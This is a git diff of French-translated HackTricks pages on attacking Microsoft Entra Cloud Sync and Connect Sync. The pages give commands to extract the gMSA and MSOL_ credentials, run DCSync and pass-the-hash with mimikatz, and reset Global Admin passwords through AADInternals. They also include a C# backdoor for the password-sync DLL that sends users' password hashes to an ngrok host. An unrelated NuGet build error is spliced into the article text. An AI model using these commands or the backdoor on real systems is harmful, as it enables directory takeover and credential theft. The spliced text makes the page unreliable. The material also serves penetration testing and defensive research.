mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -0,0 +1,151 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Cloud Sync** est essentiellement la nouvelle façon d'Azure de **synchroniser les utilisateurs d'AD vers Entra ID**.
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync est une nouvelle offre de Microsoft conçue pour répondre et atteindre vos objectifs d'identité hybride pour la synchronisation des utilisateurs, groupes et contacts vers Microsoft Entra ID. Cela est accompli en utilisant l'agent de provisionnement cloud Microsoft Entra au lieu de l'application Microsoft Entra Connect. Cependant, il peut être utilisé en parallèle avec Microsoft Entra Connect Sync.
|
||||
|
||||
### Principaux générés
|
||||
|
||||
Pour que cela fonctionne, certains principaux sont créés à la fois dans Entra ID et le répertoire sur site :
|
||||
|
||||
- Dans Entra ID, l'utilisateur `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) est créé avec le rôle **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
> [!WARNING]
|
||||
> Ce rôle avait beaucoup de permissions privilégiées et pouvait être utilisé pour [**escalader les privilèges même jusqu'à l'administrateur global**](https://medium.com/tenable-techblog/stealthy-persistence-with-directory-synchronization-accounts-role-in-entra-id-63e56ce5871b). Cependant, Microsoft a décidé de supprimer tous les privilèges de ce rôle et de lui assigner juste un nouveau **`microsoft.directory/onPremisesSynchronization/standard/read`** qui ne permet pas vraiment d'effectuer d'action privilégiée (comme modifier le mot de passe ou les attributs d'un utilisateur ou ajouter une nouvelle crédential à un SP).
|
||||
|
||||
- Dans Entra ID, le groupe **`AAD DC Administrators`** est également créé sans membres ni propriétaires. Ce groupe est utile si [`Microsoft Entra Domain Services`](./az-domain-services.md) est utilisé.
|
||||
|
||||
- Dans l'AD, soit le compte de service **`provAgentgMSA`** est créé avec un SamAccountName comme **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), soit un personnalisé avec [**ces permissions sont nécessaires**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). En général, le compte par défaut est créé.
|
||||
|
||||
> [!WARNING]
|
||||
> Parmi d'autres permissions, le compte de service **`provAgentgMSA`** a des permissions DCSync, permettant **à quiconque qui le compromet de compromettre l'ensemble du répertoire**. Pour plus d'informations sur [DCSync, consultez ceci](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
|
||||
> [!NOTE]
|
||||
> Par défaut, les utilisateurs de groupes privilégiés connus comme Domain Admins avec l'attribut **`adminCount` à 1 ne sont pas synchronisés** avec Entra ID pour des raisons de sécurité. Cependant, d'autres utilisateurs qui font partie de groupes privilégiés sans cet attribut ou qui se voient attribuer des privilèges élevés directement **peuvent être synchronisés**.
|
||||
|
||||
## Synchronisation des mots de passe
|
||||
|
||||
Cette section est très similaire à celle de :
|
||||
|
||||
{{#ref}}
|
||||
az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **La synchronisation des hachages de mots de passe** peut être activée afin que les utilisateurs puissent **se connecter à Entra ID en utilisant leurs mots de passe d'AD**. De plus, chaque fois qu'un mot de passe est modifié dans AD, il sera mis à jour dans Entra ID.
|
||||
- **Le retour de mot de passe** peut également être activé, permettant aux utilisateurs de modifier leur mot de passe dans Entra ID en synchronisant automatiquement leur mot de passe dans le domaine sur site. Mais selon la [documentation actuelle](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), il est nécessaire d'utiliser l'agent Connect, alors jetez un œil à la [section Az Connect Sync](./az-connect-sync.md) pour plus d'informations.
|
||||
- **Le retour de groupes** : Cette fonctionnalité permet aux adhésions de groupe d'Entra ID d'être synchronisées vers l'AD sur site. Cela signifie que si un utilisateur est ajouté à un groupe dans Entra ID, il sera également ajouté au groupe correspondant dans l'AD.
|
||||
|
||||
## Pivotement
|
||||
|
||||
### AD --> Entra ID
|
||||
|
||||
- Si les utilisateurs de l'AD sont synchronisés de l'AD vers Entra ID, le pivotement de l'AD vers Entra ID est simple, il suffit de **compromettre le mot de passe d'un utilisateur ou de changer le mot de passe d'un utilisateur ou de créer un nouvel utilisateur et d'attendre qu'il soit synchronisé dans le répertoire Entra ID (généralement seulement quelques minutes)**.
|
||||
|
||||
Ainsi, vous pourriez par exemple
|
||||
- Compromettre le compte **`provAgentgMSA`**, effectuer une attaque DCSync, craquer le mot de passe d'un utilisateur et ensuite l'utiliser pour se connecter à Entra ID.
|
||||
- Juste créer un nouvel utilisateur dans l'AD, attendre qu'il soit synchronisé dans Entra ID et ensuite l'utiliser pour se connecter à Entra ID.
|
||||
- Modifier le mot de passe d'un utilisateur dans l'AD, attendre qu'il soit synchronisé dans Entra ID et ensuite l'utiliser pour se connecter à Entra ID.
|
||||
|
||||
Pour compromettre les identifiants de **`provAgentgMSA`** :
|
||||
```powershell
|
||||
# Enumerate provAgentgMSA account
|
||||
Get-ADServiceAccount -Filter * -Server domain.local
|
||||
# Find who can read the password of the gMSA (usually only the DC computer account)
|
||||
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword
|
||||
|
||||
# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
|
||||
lsadump::dcsync /domain:domain.local /user:<dc-name>$
|
||||
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"
|
||||
|
||||
# Or you can change who can read the password of the gMSA account to all domain admins for example:
|
||||
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'
|
||||
|
||||
# Read the password of the gMSA
|
||||
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
|
||||
|
||||
#Install-Module -Name DSInternals
|
||||
#Import-Module DSInternals
|
||||
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
|
||||
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
|
||||
```
|
||||
Maintenant, vous pourriez utiliser le hachage du gMSA pour effectuer une attaque Pass-the-Hash contre Entra ID en utilisant le compte `provAgentgMSA` et maintenir la persistance en étant capable d'effectuer des attaques DCSync contre l'AD.
|
||||
|
||||
Pour plus d'informations sur la façon de compromettre un Active Directory, consultez :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html
|
||||
{{#endref}}
|
||||
|
||||
> [!NOTE]
|
||||
> Notez qu'il n'y a aucun moyen de donner des rôles Azure ou EntraID aux utilisateurs synchronisés en fonction de leurs attributs, par exemple dans les configurations de Cloud Sync. Cependant, afin d'accorder automatiquement des permissions aux utilisateurs synchronisés, certains **groupes Entra ID de l'AD** pourraient se voir accorder des permissions afin que les utilisateurs synchronisés à l'intérieur de ces groupes les reçoivent également ou que **des groupes dynamiques puissent être utilisés**, donc vérifiez toujours les règles dynamiques et les moyens potentiels de les abuser :
|
||||
|
||||
{{#ref}}
|
||||
../../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
Concernant la persistance, [cet article de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) suggère qu'il est possible d'utiliser [**dnSpy**](https://github.com/dnSpy/dnSpy) pour créer une porte dérobée dans le dll **`Microsoft.Online.Passwordsynchronisation.dll`** situé dans **`C:\Program Files\Microsoft Azure AD Sync\Bin`** qui est utilisé par l'agent Cloud Sync pour effectuer la synchronisation des mots de passe, le faisant exfiltrer les hachages de mots de passe des utilisateurs étant synchronisés vers un serveur distant. Les hachages sont générés à l'intérieur de la classe **`PasswordHashGenerator`** et l'article de blog suggère d'ajouter un certain code afin que la classe ressemble à (notez l'utilisation de `use System.Net` et de `WebClient` pour exfiltrer les hachages de mots de passe) :
|
||||
```csharp
|
||||
using System;
|
||||
using System.Net;
|
||||
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;
|
||||
|
||||
namespace Microsoft.Online.PasswordSynchronization
|
||||
{
|
||||
// Token: 0x0200003E RID: 62
|
||||
public class PasswordHashGenerator : ClearPasswordHashGenerator
|
||||
{
|
||||
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
|
||||
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
|
||||
{
|
||||
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
|
||||
try
|
||||
{
|
||||
using (WebClient webClient = new WebClient())
|
||||
{
|
||||
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
return new PasswordHashData
|
||||
{
|
||||
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
|
||||
RawHash = passwordHashData.RawHash
|
||||
};
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'.
|
||||
C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\'.
|
||||
. Please see Error List window for detailed warnings and errors.
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Si **Password Writeback** est activé, vous pourriez modifier le mot de passe de certains utilisateurs depuis Entra ID et si vous avez accès au réseau AD, vous connecter en utilisant ces identifiants. Pour plus d'informations, consultez la section [Az Connect Sync](./az-connect-sync.md) pour plus d'informations, car le mot de passe writeback est configuré à l'aide de cet agent.
|
||||
|
||||
- À ce stade, Cloud Sync permet également **"Microsoft Entra ID to AD"**, mais après trop de temps, j'ai constaté qu'il ne peut PAS synchroniser les utilisateurs d'EntraID vers AD et qu'il ne peut synchroniser que les utilisateurs d'EntraID qui ont été synchronisés avec le hachage de mot de passe et proviennent d'un domaine appartenant à la même forêt de domaine que le domaine vers lequel nous synchronisons, comme vous pouvez le lire dans [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ces groupes ne peuvent contenir que des utilisateurs synchronisés sur site et / ou des groupes de sécurité créés dans le cloud supplémentaires.
|
||||
> - Les comptes d'utilisateur sur site qui sont synchronisés et sont membres de ce groupe de sécurité créé dans le cloud peuvent provenir du même domaine ou de domaines différents, mais ils doivent tous provenir de la même forêt.
|
||||
|
||||
Ainsi, la surface d'attaque (et l'utilité) de ce service est considérablement réduite, car un attaquant devrait compromettre l'AD initial d'où les utilisateurs sont synchronisés afin de compromettre un utilisateur dans l'autre domaine (et les deux doivent apparemment être dans la même forêt).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# Check for the gMSA SA
|
||||
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
|
||||
|
||||
# Get all the configured cloud sync agents (usually one per on-premise domain)
|
||||
## In the machine name of each you can infer the name of the domain
|
||||
az rest \
|
||||
--method GET \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,202 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sync-whatis) Les services de synchronisation Microsoft Entra Connect (Microsoft Entra Connect Sync) sont un composant principal de Microsoft Entra Connect. Ils s'occupent de toutes les opérations liées à la synchronisation des données d'identité entre votre environnement sur site et Microsoft Entra ID.
|
||||
|
||||
Pour l'utiliser, il est nécessaire d'installer l'agent **`Microsoft Entra Connect Sync`** sur un serveur dans votre environnement AD. Cet agent sera responsable de la synchronisation du côté AD.
|
||||
|
||||
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Le **Connect Sync** est essentiellement l'ancienne méthode Azure pour **synchroniser les utilisateurs d'AD vers Entra ID.** La nouvelle méthode recommandée est d'utiliser **Entra Cloud Sync** :
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-sync.md
|
||||
{{#endref}}
|
||||
|
||||
### Principaux générés
|
||||
|
||||
- Le compte **`MSOL_<installationID>`** est automatiquement créé dans l'AD sur site. Ce compte se voit attribuer un rôle de **Comptes de synchronisation de répertoire** (voir [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), ce qui signifie qu'il a des **permissions de réplication (DCSync) dans l'AD sur site**.
|
||||
- Cela signifie que quiconque compromettant ce compte pourra compromettre le domaine sur site.
|
||||
- Un compte de service géré **`ADSyncMSA<id>`** est créé dans l'AD sur site sans privilèges par défaut spéciaux.
|
||||
- Dans Entra ID, le Service Principal **`ConnectSyncProvisioning_ConnectSync_<id>`** est créé avec un certificat.
|
||||
|
||||
## Synchroniser les mots de passe
|
||||
|
||||
### Synchronisation des hachages de mots de passe
|
||||
|
||||
Ce composant peut également être utilisé pour **synchroniser les mots de passe d'AD vers Entra ID** afin que les utilisateurs puissent utiliser leurs mots de passe AD pour se connecter à Entra ID. Pour cela, il est nécessaire de permettre la synchronisation des hachages de mots de passe dans l'agent Microsoft Entra Connect Sync installé sur un serveur AD.
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) La **synchronisation des hachages de mots de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hachage, du hachage, du mot de passe d'un utilisateur d'une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
|
||||
|
||||
Essentiellement, tous les **utilisateurs** et un **hachage des hachages de mots de passe** sont synchronisés de l'AD sur site vers Azure AD. Cependant, les **mots de passe en clair** ou les **hachages** **originaux** ne sont pas envoyés à Azure AD.
|
||||
|
||||
La **synchronisation des hachages** se produit toutes les **2 minutes**. Cependant, par défaut, **l'expiration des mots de passe** et **l'expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
|
||||
|
||||
Lorsqu'un utilisateur sur site souhaite accéder à une ressource Azure, **l'authentification a lieu sur Azure AD**.
|
||||
|
||||
> [!NOTE]
|
||||
> Par défaut, les utilisateurs de groupes privilégiés connus comme les Domain Admins avec l'attribut **`adminCount` à 1 ne sont pas synchronisés** avec Entra ID pour des raisons de sécurité. Cependant, d'autres utilisateurs qui font partie de groupes privilégiés sans cet attribut ou qui se voient attribuer des privilèges élevés directement **peuvent être synchronisés**.
|
||||
|
||||
### Écriture de mots de passe
|
||||
|
||||
Cette configuration permet de **synchroniser les mots de passe d'Entra ID vers AD** lorsqu'un utilisateur change son mot de passe dans Entra ID. Notez que pour que l'écriture de mots de passe fonctionne, l'utilisateur `MSOL_<id>` généré automatiquement dans l'AD doit se voir accorder [plus de privilèges comme indiqué dans la documentation](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) afin qu'il puisse **modifier les mots de passe de tout utilisateur dans l'AD**.
|
||||
|
||||
Ceci est particulièrement intéressant pour compromettre l'AD à partir d'un Entra ID compromis, car vous pourrez modifier le mot de passe de "presque" n'importe quel utilisateur.
|
||||
|
||||
Les administrateurs de domaine et d'autres utilisateurs appartenant à certains groupes privilégiés ne sont pas répliqués si le groupe a l'attribut **`adminCount` à 1**. Mais d'autres utilisateurs qui ont été attribués des privilèges élevés dans l'AD sans appartenir à l'un de ces groupes pourraient voir leur mot de passe changé. Par exemple :
|
||||
|
||||
- Utilisateurs ayant des privilèges élevés directement.
|
||||
- Utilisateurs du groupe **`DNSAdmins`**.
|
||||
- Utilisateurs du groupe **`Group Policy Creator Owners`** qui ont créé des GPO et les ont assignés à des OU pourront modifier les GPO qu'ils ont créés.
|
||||
- Utilisateurs du **`Cert Publishers Group`** qui peuvent publier des certificats dans Active Directory.
|
||||
- Utilisateurs de tout autre groupe avec des privilèges élevés sans l'attribut **`adminCount` à 1**.
|
||||
|
||||
## Pivotement AD --> Entra ID
|
||||
|
||||
### Énumération de Connect Sync
|
||||
|
||||
Vérifiez les utilisateurs :
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
Import-Module ActiveDirectory
|
||||
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
|
||||
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
|
||||
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
|
||||
|
||||
# Check it using raw LDAP queries without needing an external module
|
||||
$searcher = New-Object System.DirectoryServices.DirectorySearcher
|
||||
$searcher.Filter = "(samAccountName=MSOL_*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
|
||||
$searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
Vérifiez la **configuration de Connect Sync** (le cas échéant) :
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
```
|
||||
### Trouver les mots de passe
|
||||
|
||||
Les mots de passe de l'**`MSOL_*`** utilisateur (et de l'**Sync\_\*** utilisateur s'il a été créé) sont **stockés dans un serveur SQL** sur le serveur où **Entra ID Connect est installé.** Les administrateurs peuvent extraire les mots de passe de ces utilisateurs privilégiés en texte clair.\
|
||||
La base de données est située dans `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
|
||||
|
||||
Il est possible d'extraire la configuration d'une des tables, étant l'une chiffrée :
|
||||
|
||||
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
|
||||
|
||||
La **configuration chiffrée** est chiffrée avec **DPAPI** et elle contient les **mots de passe de l'`MSOL_*`** utilisateur dans l'AD sur site et le mot de passe de **Sync\_\*** dans AzureAD. Par conséquent, en compromettant ceux-ci, il est possible d'obtenir des privilèges élevés dans l'AD et dans AzureAD.
|
||||
|
||||
Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Abuser de MSOL\_*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
Get-AADIntSyncCredentials
|
||||
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
|
||||
|
||||
# Using https://github.com/dirkjanm/adconnectdump
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
|
||||
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
|
||||
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
|
||||
|
||||
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
|
||||
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> Des attaques précédentes ont compromis l'autre mot de passe pour ensuite se connecter à l'utilisateur Entra ID appelé `Sync_*` et ensuite compromettre Entra ID. Cependant, cet utilisateur n'existe plus.
|
||||
|
||||
### Abus de ConnectSyncProvisioning_ConnectSync\_<id>
|
||||
|
||||
Cette application est créée sans avoir de rôles de gestion Entra ID ou Azure assignés. Cependant, elle a les autorisations API suivantes :
|
||||
|
||||
- Microsoft Entra AD Synchronization Service
|
||||
- `ADSynchronization.ReadWrite.All`
|
||||
- Service de réinitialisation de mot de passe Microsoft
|
||||
- `PasswordWriteback.OffboardClient.All`
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Il est mentionné que le SP de cette application peut encore être utilisé pour effectuer certaines actions privilégiées en utilisant une API non documentée, mais aucun PoC n'a encore été trouvé à ma connaissance.\
|
||||
Dans tous les cas, penser que cela pourrait être possible serait intéressant d'explorer davantage comment trouver le certificat pour se connecter en tant que ce principal de service et essayer d'en abuser.
|
||||
|
||||
Ce [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) publié peu avant le changement de l'utilisation de l'utilisateur `Sync_*` à ce principal de service, expliquait que le certificat était stocké à l'intérieur du serveur et qu'il était possible de le trouver, de générer un PoP (Proof of Possession) et un jeton graphique, et avec cela, être capable d'ajouter un nouveau certificat au principal de service (car un **principal de service** peut toujours s'assigner de nouveaux certificats) et ensuite l'utiliser pour maintenir la persistance en tant que SP.
|
||||
|
||||
Pour effectuer ces actions, les outils suivants sont publiés : [SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils).
|
||||
|
||||
D'après mon expérience, le certificat n'est plus stocké à l'endroit où l'outil précédent le cherchait, et par conséquent, l'outil ne fonctionne plus. Donc, des recherches supplémentaires pourraient être nécessaires.
|
||||
|
||||
### Abus de Sync\_\* [DÉPRÉCIÉ]
|
||||
|
||||
> [!WARNING]
|
||||
> Auparavant, un utilisateur appelé `Sync_*` était créé dans Entra ID avec des autorisations très sensibles assignées, ce qui permettait d'effectuer des actions privilégiées comme modifier le mot de passe de n'importe quel utilisateur ou ajouter une nouvelle crédential à un principal de service. Cependant, depuis janvier 2025, cet utilisateur n'est plus créé par défaut car maintenant l'Application/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** est utilisé. Cependant, il pourrait encore être présent dans certains environnements, donc il vaut la peine de vérifier.
|
||||
|
||||
Compromettre le compte **`Sync_*`** permet de **réinitialiser le mot de passe** de n'importe quel utilisateur (y compris les Administrateurs Globaux)
|
||||
```bash
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
Import-Module AADInternals
|
||||
|
||||
# This command, run previously, will give us alse the creds of this account
|
||||
Get-AADIntSyncCredentials
|
||||
|
||||
# Get access token for Sync_* account
|
||||
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
|
||||
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
|
||||
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
|
||||
|
||||
# Get global admins
|
||||
Get-AADIntGlobalAdmins
|
||||
|
||||
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
|
||||
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
|
||||
|
||||
# Reset the users password
|
||||
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
|
||||
|
||||
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
|
||||
```
|
||||
Il est également possible de **modifier les mots de passe des utilisateurs uniquement cloud** (même si cela est inattendu)
|
||||
```bash
|
||||
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
|
||||
# The CloudAnchor is of the format USER_ObjectID.
|
||||
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
|
||||
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Il est également possible de dumper le mot de passe de cet utilisateur.
|
||||
|
||||
> [!CAUTION]
|
||||
> Une autre option serait de **attribuer des permissions privilégiées à un principal de service**, que l'utilisateur **Sync** a **la permission** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
|
||||
|
||||
### SSO Transparent
|
||||
|
||||
Il est possible d'utiliser le SSO Transparent avec PHS, qui est vulnérable à d'autres abus. Vérifiez-le dans :
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
## Pivotement Entra ID --> AD
|
||||
|
||||
- Si la réécriture de mot de passe est activée, vous pouvez **modifier le mot de passe de n'importe quel utilisateur dans l'AD** qui est synchronisé avec Entra ID.
|
||||
- Si la réécriture de groupes est activée, vous pouvez **ajouter des utilisateurs à des groupes privilégiés** dans Entra ID qui sont synchronisés avec l'AD.
|
||||
|
||||
## Références
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs)
|
||||
- [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/)
|
||||
- [https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
|
||||
- [https://www.youtube.com/watch?v=xei8lAPitX8](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD**, et généralement, même pas leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) **connecte automatiquement les utilisateurs lorsqu'ils sont sur leurs appareils d'entreprise** connectés à votre réseau d'entreprise. Lorsqu'il est activé, **les utilisateurs n'ont pas besoin de saisir leurs mots de passe pour se connecter à Azure AD**, et généralement, même de saisir leurs noms d'utilisateur. Cette fonctionnalité offre à vos utilisateurs un accès facile à vos applications basées sur le cloud sans nécessiter de composants supplémentaires sur site.
|
||||
|
||||
<figure><img src="../../../../images/image (275).png" alt=""><figcaption><p><a href="https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works">https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works</a></p></figcaption></figure>
|
||||
|
||||
@@ -12,15 +12,64 @@ Fondamentalement, Azure AD Seamless SSO **connecte les utilisateurs** lorsqu'ils
|
||||
|
||||
Il est pris en charge à la fois par [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) et [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md).
|
||||
|
||||
Le SSO de bureau utilise **Kerberos** pour l'authentification. Lorsqu'il est configuré, Azure AD Connect crée un **compte d'ordinateur appelé AZUREADSSOACC`$`** dans l'AD sur site. Le mot de passe du compte `AZUREADSSOACC$` est **envoyé en texte clair à Azure AD** lors de la configuration.
|
||||
Le SSO de bureau utilise **Kerberos** pour l'authentification. Lorsqu'il est configuré, Azure AD Connect crée un **compte d'ordinateur appelé `AZUREADSSOACC$`** dans l'AD sur site. Le mot de passe du compte `AZUREADSSOACC$` est **envoyé en texte clair à Entra ID** lors de la configuration.
|
||||
|
||||
Les **tickets Kerberos** sont **chiffrés** en utilisant le **NTHash (MD4)** du mot de passe et Azure AD utilise le mot de passe envoyé pour déchiffrer les tickets.
|
||||
Les **tickets Kerberos** sont **chiffrés** en utilisant le **NTHash (MD4)** du mot de passe et Entra ID utilise le mot de passe envoyé pour déchiffrer les tickets.
|
||||
|
||||
